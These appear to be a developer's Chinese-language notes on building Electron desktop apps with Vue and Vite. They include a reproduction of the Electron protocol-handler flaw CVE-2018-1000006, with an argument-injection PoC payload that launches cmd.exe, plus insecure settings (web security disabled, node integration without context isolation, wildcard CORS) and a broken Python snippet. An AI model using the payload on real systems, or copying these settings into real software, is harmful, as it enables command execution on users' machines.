在这里插入图片描述
在这里插入图片描述

初始化

pnpm create -start/electron

? Add TypeScript? » No / Yes   
是否使用TypeScript?选No,本教程使用JavaScript。如果喜欢TypeScript,请选择Yes? Add Electron updater plugin? » No / Yes 
是否添加Electron updater插件?选择Yes? Enable Electron download mirror proxy? » No / Yes
是否开启Electron镜像下载代理。在国内网络环境,强烈建议选择Yes。

  cd xxx
  pnpm install
  pnpm dev

精简目录

├─ /.vscode
├─ /build                      <-- build编译过程性输出目录
├─ /dist                       <-- 最终build的输出目录
├─ /node_modules
├─ /out                        <-- dev和build编译过程性输出目录
├─ /resources                  <-- 主进程和preload的公共资源目录
├─ /src
|  ├─ /main                    <-- 主进程开发目录
|  ├─ /preload                 <-- preload开发目录
|  ├─ /renderer                <-- 渲染进程开发目录
|  |  ├─ /api                  <-- api目录
|  |  |  └─ index.js           <-- api库
|  |  ├─ /common               <-- 全局公用目录
|  |  |  ├─ /fonts             <-- 字体文件目录
|  |  |  ├─ /images            <-- 图片文件目录
|  |  |  ├─ /js                <-- 公用js文件目录
|  |  |  └─ /styles            <-- 公用样式文件目录
|  |  |  |  ├─ frame.styl      <-- 全部公用样式(import本目录其他全部styl)
|  |  |  |  ├─ reset.styl      <-- 清零样式
|  |  |  |  └─ global.styl     <-- 全局公用样式
|  |  ├─ /components           <-- 公共模块组件目录
|  |  |  ├─ /header            <-- 头部导航模块(示例)
|  |  |  |  └─ header.vue      <-- header主文件
|  |  |  └─ ...                <-- 其他模块
|  |  ├─ /views                <-- 页面组件目录
|  |  |  ├─ /home              <-- home页目录
|  |  |  |  └─ home.vue        <-- home主文件
|  |  |  ├─ /login             <-- login页目录
|  |  |  |  └─ login.vue       <-- login主文件
|  |  |  └─ ...                <-- 其他页面
|  |  ├─ /router               <-- 路由配置目录
|  |  |  └─ index.js           <-- 路由配置文件
|  |  ├─ App.vue               <-- 项目页面入口文件
|  |  ├─ main.js               <-- 渲染进程入口文件
|  |  └─ index.html            <-- 渲染进程HTML模板
├─ .editorconfig               <-- IDE配置文件
├─ .eslintignore               <-- 忽略eslint检查的配置文件
├─ .eslintrc.cjs               <-- eslint配置文件
├─ .gitignore   
├─ .npmrc                      <-- npm镜像源配置文件
├─ .prettierignore             <-- 忽略prettier代码格式化的配置文件
├─ .prettierrc.yaml            <-- prettier代码格式化配置文件
├─ dev-app-update.yml
├─ electron-builder.yml        <-- build配置文件
├─ electron.vite.config.js     <-- electron-vite配置文件
├─ package.json
├─ README.md
└─ yarn.lock

 

src/renderer/App.vue:

<script setup></script>

<template>
    <div class="App">Electron-Vite-Vue-App</div>
</template>

<style scoped></style>

src/renderer/index.html:

<!doctype html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>Electron</title>
    <!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP -->
    <meta
      http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
    />
  </head>

  <body>
    <!-- <div id="app"></div>
    <script type="module" src="/src/main.js"></script> -->
    <div id="app"></div>
    <script type="module" src="/main.js"></script>
  </body>
</html>

electron-vite路径别名

src/renderer/App.vue,可以直接省略成@renderer/App.vue。

electron.vite.config.js


    ...(略)
    renderer: {
        resolve: {
            alias: {
-               '@renderer': resolve('src/renderer/src')
+               '@renderer': resolve('src/renderer')
            }
        },
        plugins: [vue()]
    }
    ...(略)

全局公用样式

src/renderer/common/css/common.css

Element Plus布局

cnpm install element-plus --save
按需导入element-plus组件
cnpm install unplugin-vue-components unplugin-auto-import -D

    import { createApp } from 'vue'
    // 全局样式
    import '@/common/styles/frame.styl'
+   import ElementPlus from 'element-plus'
+   import 'element-plus/dist/index.css'
    import App from './App.vue'

-   createApp(App).mount('#app')
+   const app = createApp(App)
+   app.use(ElementPlus)
+   app.mount('#app')
src/renderer/App.vue来验证下Element Plus

    <script setup></script>

    <template>
        <div class="App">
            Electron-Vite-Vue-App
+           <el-button type="primary">Primary</el-button>
        </div>
    </template>

    <style scoped></style>

运行时icon 设置


"\src\main\index.js"

const path = require('path') 
const iconPath = path.join(__dirname, '../../resources/img/icon.png')



  const mainWindow = new BrowserWindow({  
    icon: iconPath,
    ...(process.platform === 'linux' ? { icon } : {}),
    

1 Electron核心概念
• 1.1 主进程
• 1.2 渲染进程
• 1.3 预加载脚本(preload.js)
2 初始化项目
• 2.1 使用create-react-app新建项目
• 2.2 精简项目
3 Webpack配置
• 3.1 配置国内镜像源
• 3.2 暴露Webpack
• 3.3 支持Sass/Scss
• 3.4 支持Less
• 3.5 支持Stylus
• 3.6 设置路径别名
• 3.7 禁止build项目生成map文件
4 项目架构搭建
• 4.1 项目目录结构设计
• 4.2 关于样式命名规范
• 4.3 设置全局公用样式
5 引入Ant Design 5.x
• 5.1 安装Ant Design
• 5.2 设置Antd为中文语言
6 渲染进程开发
• 6.1 构建Login页面
• 6.2 构建Home页面
• 6.3 实现页面路由跳转
• 6.4 在React组件中实现页面路由跳转
• 6.5 在非React组件中实现页面路由跳转
7 集成Electron
• 7.1 通过国内镜像加速安装Electron
• 7.2 配置Electron
• 7.3 启动Electron dev热更新模式
• 7.4 禁止开发环境启动时同时打开浏览器
8 主进程与渲染进程通信方法一:send与on/once
• 8.1 主进程开发
• 8.2 preload.js开发
• 8.3 入口文件配置
• 8.4 渲染进程开发
• 8.5 打开Electron的DevTools
• 8.6 运行效果
• 8.7 关于ipcRenderer.on/once
• 8.8 为什么必须在preload里定义ipcRenderer.on/once
9 主进程与渲染进程通信方法二:invoke与handle
• 9.1 主进程开发
• 9.2 入口文件配置
• 9.3 渲染进程开发
• 9.4 运行效果
10 打包Electron
• 10.1 安装electron-builder
• 10.2 配置electron-builder
• 10.3 配置build版本的主入口
• 10.4 解决elecron-build编译过程中下载慢的问题
• 10.5 build Electron应用
• 10.6 解决nsis无法下载问题
• 10.7 build后的目录结构
11 常用配置
• 11.1 设置开发环境应用icon
• 11.2 设置build版应用icon
• 11.3 设置APP窗口大小
• 11.4 取消跨域限制
• 11.5 取消菜单栏
• 11.6 设置DevTools快捷键
• 11.7 禁止同时运行多个Electron程序
12 项目源码git

使用人群

Electron 被 Slack、Visual Studio Code 和 Discord 等大型产品广泛使用
QQ 技术团队

开源IM框架源码:https://github.com/JackJiang2011/MobileIMSDK
《IM跨平台技术学习(一):快速了解新一代跨平台桌面技术——Electron》

《IM跨平台技术学习(二):Electron初体验(快速开始、跨进程通信、打包、踩坑等)》

《IM跨平台技术学习(三):vivo的Electron技术栈选型、全方位实践总结》

《IM跨平台技术学习(四):蘑菇街基于Electron开发IM客户端的技术实践》

《IM跨平台技术学习(五):融云基于Electron的IM跨平台SDK改造实践总结》

《IM跨平台技术学习(六):网易云信基于Electron的IM消息全文检索技术实践》

《IM跨平台技术学习(七):得物基于Electron开发客服IM桌面端的技术实践》

《IM跨平台技术学习(八):新QQ桌面版为何选择Electron作为跨端框架》

在这里插入图片描述

打包 win32桌面exe程序

安装时 图标 设置

为了不报错 卸载以前的脚手架

 npm uninstall -g vue-cli

安装最新版脚手架

cnpm install -g @vue/cli 

创建一个 vue 随便起个名

 vue create electron-vue-example (随便起个名字electron-vue-example)

进入 创建过的 vue文件

vue3
cnpm C:\Users\xxx\AppData\Roaming\npm
https://npmmirror.com/
在这里插入图片描述
C:\Users\xxxx\electron-vue-example.

cd electron-vue-example
 
cnpm install electron -g

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

运行 vue

npm run serve

在这里插入图片描述
在这里插入图片描述

将vue 添加 electron模块

vue add electron-builder

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

运行 electron 模块 是否 可以弹出窗口

npm run electron:serve

在这里插入图片描述在这里插入图片描述

 // 这个错误 网上说必须科学上网才可以安装  所以我临时没有进行安装  后继没有发现有异常错误
Vue Devtools failed to install: ReferenceError: installExtension is not defined
// 全局搜索 这个 注释掉 VUEJS_DEVTOOLS  VUEJS3_DEVTOOLS
 

在这里插入图片描述

最终 打包exe

npm run electron:build

在这里插入图片描述在这里插入图片描述

报错安装一下插件

npm install -g yarn

在这里插入图片描述

在这里插入图片描述

electron-reload

Webpack 5 不提供自带的 HTTP 请求模块

https://www.w3cschool.cn/electronmanual/

cnpm install --save-dev electron-rebuild

Node.js 18.15.0
antd 5.4.0
create-react-app 5.0.1
react 18.2.0
react-router-dom 6.10.0
sass-loader 13.2.2
webpack 5.77.0
webpack-dev-server 4.13.2
concurrently 8.0.1
electron 24.0.0
electron-builder 23.6.0
less 4.1.3
less-loader 11.1.0
node-sass 8.0.0
stylus 0.59.0
stylus-loader 7.1.0
wait-on 7.0.1

自定义窗口

BrowserWindow 模块是您的 Electron 应用程序的基础。
并且它暴露了许多可以改变您浏览器窗口的外观和行为的API。

创建无边框窗口

menu.closepopup([browserwindow])

Chromium 的流程模型

漏洞复现-electron RCE命令执行CVE-2018-1000006

漏洞介绍

Electron是由Github开发,
用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,
并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。

像Slack、Skype、XXX音乐、Github的Atom、Microsoft的VS Code均采用该框架开发。

在Windows下,如果Electron开发的应用注册了Protocol Handler
(允许用户在浏览器中召起该应用),
则可能出现一个参数注入漏洞,并最终导致在用户侧执行任意命令。

影响范围

1.8.2-beta.3 and earlier,

1.7.10 and earlier,

1.6.15 and earlie

Windows操作系统下,
使用应用自定义协议(Custom URI Scheme)Handler的Electron应用均会受到该漏洞的影响。

漏洞复现

┌──(root💀amingMM)-[/home//Desktop/vulhub-master/electron/CVE-2018-1000006]
└─# docker-compose run -e ARCH=64 --rm electron

访问 http://127.0.0.1:8080

将存在漏洞的Electron 1.7.10压缩包下载至本地,双击electron.exe运行

在这里插入图片描述在这里插入图片描述

直接将写的代码用鼠标拖至Electron窗体里即可运行

在这里插入图片描述
在这里插入图片描述

POC 分析

https://github.com/CHYbeta/CVE-2018-1000006-DEMO

<html>
<head>
	POC for CVE-2018-1000006
</head>
<body>
 <a class="protocol" href='chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a>
</body>
</html>

在这里插入图片描述在这里插入图片描述

点击超链接,则会触发这个RCE,实现命令执行

分析环境

node
npm
Electron 1.7.10(存在漏洞的版本)

原理浅析

官方的漏洞公告可知,该漏洞存在位置app.setAsDefaultProtocolClient(),在仓库中全局搜索SetAsDefaultProtocolClient

https://github.com/electron/electron/search?utf8=%E2%9C%93&q=SetAsDefaultProtocolClient&type=
在这里插入图片描述

由于该漏洞仅影响Windows系统,则关注下browser_win.cc#L212

https://github.com/electron/electron/blob/6bc7c8cc496a2bd899b2511de39f8fa1b0d7147c/atom/browser/browser_win.cc#L212

在这里插入图片描述

该函数的主要的功能是实现注册表键值的注册。

 bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
                                       mate::Arguments* args) {
 // HKEY_CLASSES_ROOT
 //    $PROTOCOL
 //       (Default) = "URL:$NAME"
 //       URL Protocol = ""
 //       shell
 //          open
 //             command
 //                (Default) = "$COMMAND" "%1"
 //
 // However, the "HKEY_CLASSES_ROOT" key can only be written by the
 // Administrator user. So, we instead write to "HKEY_CURRENT_USER\
 // Software\Classes", which is inherited by "HKEY_CLASSES_ROOT"
 // anyway, and can be written by unprivileged users.

 if (protocol.empty())
   return false;

 base::string16 exe;
 if (!GetProtocolLaunchPath(args, &exe))
   return false;

 // Main Registry Key
 HKEY root = HKEY_CURRENT_USER;
 base::string16 keyPath = base::UTF8ToUTF16("Software\\Classes\\" + protocol);
 base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);

 // Command Key
 base::string16 cmdPath = keyPath + L"\\shell\\open\\command";

 // Write information to registry
 base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
 if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
     FAILED(key.WriteValue(L"", urlDecl.c_str())))
   return false;

 base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
 if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
   return false;

 return true;
}

通过运行regedit打开注册表编辑器可以看到
在这里插入图片描述

运行PoC,点击构造好的超链接(payload),注册表中的%1则会替换为payload

chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

payload中的双引号闭合掉前面的双引号,最后形成如下所示命令

elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"

通过第3个参数带入Chromium实现命令执行:–renderer-cmd-prefix=cmd.exe /c start calc

攻击场景和完整的利用思路:

0、程序开发时调用了存在漏洞的函数,实现用户自定义协议的注册,
拿我这个来说注册了test协议,那当用户访问test协议下的资源时,
就会启动该程序访问(test://xxx)

app.setAsDefaultProtocolClient(‘test’)

1、程序启动时会在注册表中注册键值(%1是占位符,用于接收用户输入的参数)

“E:\elec_rce.exe” “%1”

2、执行PoC时,通过刚刚程序注册的test://自定义协议触发
test://?" “–no-sandbox” "–renderer-cmd-prefix=cmd.exe /c start calc

3、payload带入占位符%1,同时闭合双引号,通过后续的参数–renderer-cmd-prefix,传递至Chromium,实现命令执行

修复建议

官方提供 2 两种修复方法:

1、升级至 1.8.2-beta.4、
https://github.com/electron/electron/releases/tag/v1.8.2-beta.4
1.7.11、
https://github.com/electron/electron/releases/tag/v1.7.11
1.6.16 版本
https://github.com/electron/electron/releases/tag/v1.6.16

2、不升级的话,可以在调用app.setAsDefaultProtocolClient()函数时,
增加–参数(代表命令行选项的结束,类似注释?),
避免Chromium解析更多的选项

app.setAsDefaultProtocolClient(protocol, process.execPath, [
 '--your-switches-here',
 '--'
])

前端解决 跨域

  const win = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences: {
      nodeIntegration: true, // 使渲染进程拥有node环境
      //关闭web权限检查,允许跨域
      webSecurity: false,
      // Use pluginOptions.nodeIntegration, leave this alone
      // See nklayman.github.io/vue-cli-plugin-electron-builder/guide/security.html#node-integration for more info
      nodeIntegration: process.env.ELECTRON_NODE_INTEGRATION,
      contextIsolation: !process.env.ELECTRON_NODE_INTEGRATION
    }
  })

后端解决 跨域

import http.server
import socketserver



class CORSHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

  def end_headers(self):
    self.send_header("Access-Control-Allow-Credentials", "true")
    self.send_header('Access-Control-Allow-Origin', '*')
    self.send_header('Access-Control-Allow-Methods', 'GET,POST,HEAD,PUT,DELETE,OPTIONS')
    self.send_header('Access-Control-Allow-Headers', 'Content-Type')
    http.server.SimpleHTTPRequestHandler.end_headers(self)

  def do_OPTIONS(self):
    self.send_response(200, "ok")
    self.send_header("Access-Control-Allow-Credentials", "true")
    self.send_header('Access-Control-Allow-Origin', '*')
    self.send_header('Access-Control-Allow-Methods', 'GET,POST,HEAD,PUT,DELETE,OPTIONS')
    self.send_header('Access-Control-Allow-Headers', 'Content-Type')
    self.end_headers()

class MyHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):  
        if self.path.startswith

 

Handler = CORSHTTPRequestHandler



PORT = 8000

with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
    print("Server started at port", PORT)
    httpd.serve_forever()

使用 fs

vue.config.js

module.exports = defineConfig({
  transpileDependencies: true,
  
  pluginOptions:{
    electronBuilder:{
      nodeIntegration:true
    }
  }

})

electron-store

简单的Electron本地持久化存储库

cnpm install electron-store

在你的 Electron 主进程文件中创建一个 store 实例:

const Store = require('electron-store');

const store = new Store();

你现在可以使用以下方法读取和写入数据:

// 写入数据
store.set('name', 'John Doe');

// 读取数据
console.log(store.get('name'));
// 输出: John Doe

// 移除数据
store.delete('name');

// 检查数据是否存在
console.log(store.has('name'));
// 输出: false

// 一次写入多个键值对
store.set({
    foo: 'bar',
    baz: 42
});

// 读取所有数据
console.log(store.store);
// 输出: { foo: 'bar', baz: 42 }

你还可以设置默认值,这样如果键不存在,将返回默认值:

const store = new Store({
    defaults: {
        windowBounds: { width: 800, height: 600 }
    }
});

console.log(store.get('windowBounds'));
// 输出: { width: 800, height: 600 }

你可以使用 .on() 方法,监听 store 的变化:

store.onDidChange('name', (newValue, oldValue) => {
    console.log(`name的值已从 ${oldValue} 更改为 ${newValue}`);
});

axios

Ant Design Vue UI

https://www.antdv.com/components/overview-cn

安装 Ant Design Vue UI

cnpm install ant-design-vue --save
  1. 在你的 main.js 文件中添加以下代码:
import { createApp } from 'vue'
import App from './App.vue'


import Antd from 'ant-design-vue'; 
import 'ant-design-vue/dist/reset.css';

 

const app = createApp(App);
  
app.use(Antd).mount('#app');
<template>
  <div class="setting-page">
    11111111111
  </div>
</template>

<script>
export default {
  name: 'SettingPage', // 修改为多个单词的组件名
  // 组件代码
}
</script>

<style scoped>
.setting-page {
  /* 样式代码 */
}
</style>

未使用变量报错

.eslintrc.js

module.exports = {
  // ...其它配置
  rules: {
    'no-unused-vars': 'error'
  }
}

清理缓存

npm cache clean --force

ESLint

用于 JavaScript 代码检查的工具。它可以在编码过程中检测出潜在的问题和错误,并提供一些改进代码质量的建议。

ESLint 可以检查的问题包括但不限于:

  • 变量未定义
  • 代码中的语法错误
  • 缩进不正确
  • 未使用的变量或参数
  • 不兼容的操作符
  • 大括号的位置
  • 等等

ESLint 还提供了许多可配置的规则,可以根据需要进行自定义,并将这些规则应用于项目中。通过使用 ESLint,可以确保您的代码具有一致的编码风格,并且可以提高代码的可读性和可维护性。

mounted()

中实现自增 mounted是一个声明周期钩子函数,你把他想成是页加载渲染完成,自动执行的方法就可以了。

IPC(Inter-Process Communication)

进程间通信

在这里插入图片描述

渲染进程 TO 主进程

ipcRenderer.send

//页面的js代码:
const electron = require('electron')
const { ipcRenderer } = electron

closeDom.addEventListener('click', () => {
  ipcRenderer.send('mainWindow:close')
})

ipcMain.on

//入口文件index.js
ipcMain.on('mainWindow:close', () => {
  mainWindow.hide()
})

主进程 TO 渲染进程

渲染进程的webContents

在mainWindow渲染进程设定了任务后,会传输给主进程任务信息,当任务时间到了,主进程会创建提醒窗口remindWindow,并通过remindWindow.webContents将任务名称发给remindWindow。

function createRemindWindow (task) {
 
  remindWindow = new BrowserWindow({
     //options
  })
  remindWindow.loadURL(`file://${__dirname}/src/remind.html`)
  
  //主进程发送消息给渲染进程
  remindWindow.webContents.send('setTask', task)

}

ipcRenderer.on

在remindWindow渲染进程中,通过ipcRenderer.on接受消息。

ipcRenderer.on('setTask', (event,task) => {
   document.querySelector('.reminder').innerHTML = 
      `<span>${decodeURIComponent(task)}</span>的时间到啦!`
})

渲染进程 TO 渲染进程

可以通过主进程中转,即窗口A先把消息发送给主进程,主进程再把这个消息发送给窗口B,这种非常常见。

也可以从窗口A直接发消息给窗口B,前提是窗口A知道窗口B的webContents的id。

ipcRenderer.sendTo

ipcRenderer.sendTo(webContentsId, channel, ...args)

使用了require,这也是Electron的一大特点,

在渲染进程中可以访问Node.js API。

这样做的前提是在创建窗口时配置webPreferences的nodeIntegration: true和contextIsolation: false:
contextIsolation确保两个上下文(预加载脚本和渲染器脚本)保持完全隔离

mainWindow = new BrowserWindow({
    width: 800,
    height: 600,
    webPreferences:{
      nodeIntegration: true,
      contextIsolation: false
    }
  })

窗口位置

function createRemindWindow (task) {
  //创建提醒窗口
  remindWindow = new BrowserWindow({
    //...options
  })
  
  //获取屏幕尺寸
  const size = screen.getPrimaryDisplay().workAreaSize
  
  //获取托盘位置的y坐标(windows在右下角,Mac在右上角)
  const { y } = tray.getBounds()
  
  //获取窗口的宽高
  const { height, width } = remindWindow.getBounds()
  
  //计算窗口的y坐标
  const yPosition = process.platform === 'darwin' ? y : y - height
  
  //setBounds设置窗口的位置
  remindWindow.setBounds({
    x: size.width - width,     //x坐标为屏幕宽度 - 窗口宽度
    y: yPosition,
    height,
    width 
  })
  
  //当有多个应用时,提醒窗口始终处于最上层
  remindWindow.setAlwaysOnTop(true)
  
  remindWindow.loadURL(`file://${__dirname}/src/remind.html`)
}

关闭窗口

提醒窗口会在一段时间后关闭,可以通过remindWindow.close()来关闭窗口。

当窗口关闭后,我们可以设置remindWindow = null来回收分配给该渲染进程的资源。

remindWindow.on('closed', () => { remindWindow = null })
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      }
      .custom-toolbar {
        display: flex;
        justify-content: space-between;
        align-items: center;
        padding: 10px;
        font-weight: bold;
        background-color: rgb(236, 233, 233);
      }
      .custom-toolbar .close-button {
        cursor: pointer;
        font-size: 20px;
        position: relative;
        bottom: 1px;
      }
      .custom-toolbar .title-text {
        font-size: 16px;
      }
      .custom-toolbar .title-text > img {
        width: 16px;
        height: 16px;
        position: relative;
        top: 2px;
      }
      .reminder {
        text-align: left;
        font-size: 14px;
        height: 100px;
        padding: 10px;
        padding-top: 0;
        line-height: 24px;
        /* letter-spacing: 1.2px; */
        overflow: auto;
      }
      .close,
      .detail-button {
        position: absolute;
        font-size: 14px;
        color: dodgerblue;
        bottom: 10px;
        cursor: pointer;
        z-index: 1;
      }
      .close {
        right: 10px;
      }
      .detail-button {
        right: 50px;
      }
      .num {
        color: dodgerblue;
        font-weight: bold;
      }
    </style>
  </head>
  <body>
    <div class="custom-toolbar">
      <div class="title-text">
        <img src="./img/icon.png" alt="" />
        xxx小助手
      </div>
      <div class="close-button">×</div>
    </div>
    <span class="detail-button">查看</span>
    <span class="close-button close">关闭</span>
    <div class="reminder"></div>
  </body>
  <script>
    const electron = require('electron')
    const { ipcRenderer } = electron
    const { shell } = require('electron/common')
    const reminder = document.querySelector('.reminder')
    const closeBtns = document.querySelectorAll('.close-button')
    const detailBtn = document.querySelector('.detail-button')
    let socketData
    let url
    ipcRenderer.on('show-remind', (event, task, twrUrl, num) => {
      socketData = task
      url = twrUrl
      if (num) {
        reminder.innerHTML = `您有<span class="num">${num}</span>条信息需要处理,请及时登录xxx系统操作。`
      } else {
        reminder.innerHTML = `<span>${socketData.msgContent}</span>`
      }
      
    })
    // 关闭
    closeBtns.forEach(i => {
      i.addEventListener('click', () => {
        ipcRenderer.send('remindWindow:close')
      })
    })
    // 查看-点击自动跳转到默认浏览器
    detailBtn.addEventListener('click', () => {
      shell.openExternal(`http://${url}/xxx/#/xxx`)
    })
  </script>
</html>

websocket

https://blog.csdn.net/weixin_47978760/article/details/134535393

Nodejs 钉钉 webhook

localStorage

参考文档

https://zhuanlan.zhihu.com/p/659550657 https://gitee.com/betaq/electron-vite-vue-app-2023autumn

https://www.electronjs.org/zh/docs/latest/
http://static.kancloud.cn/idcpj/python/1037967
http://photonkit.com/getting-started/

https://xel-toolkit.org/setup
https://github.com/jarek-foksa/xel/blob/master/elements/x-progressbar.js
cnpm install xel

https://github.com/electron/electron/tree/v12.2.3/docs#readme
https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web
https://nodejs.org/

https://www.electronjs.org/fiddle

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐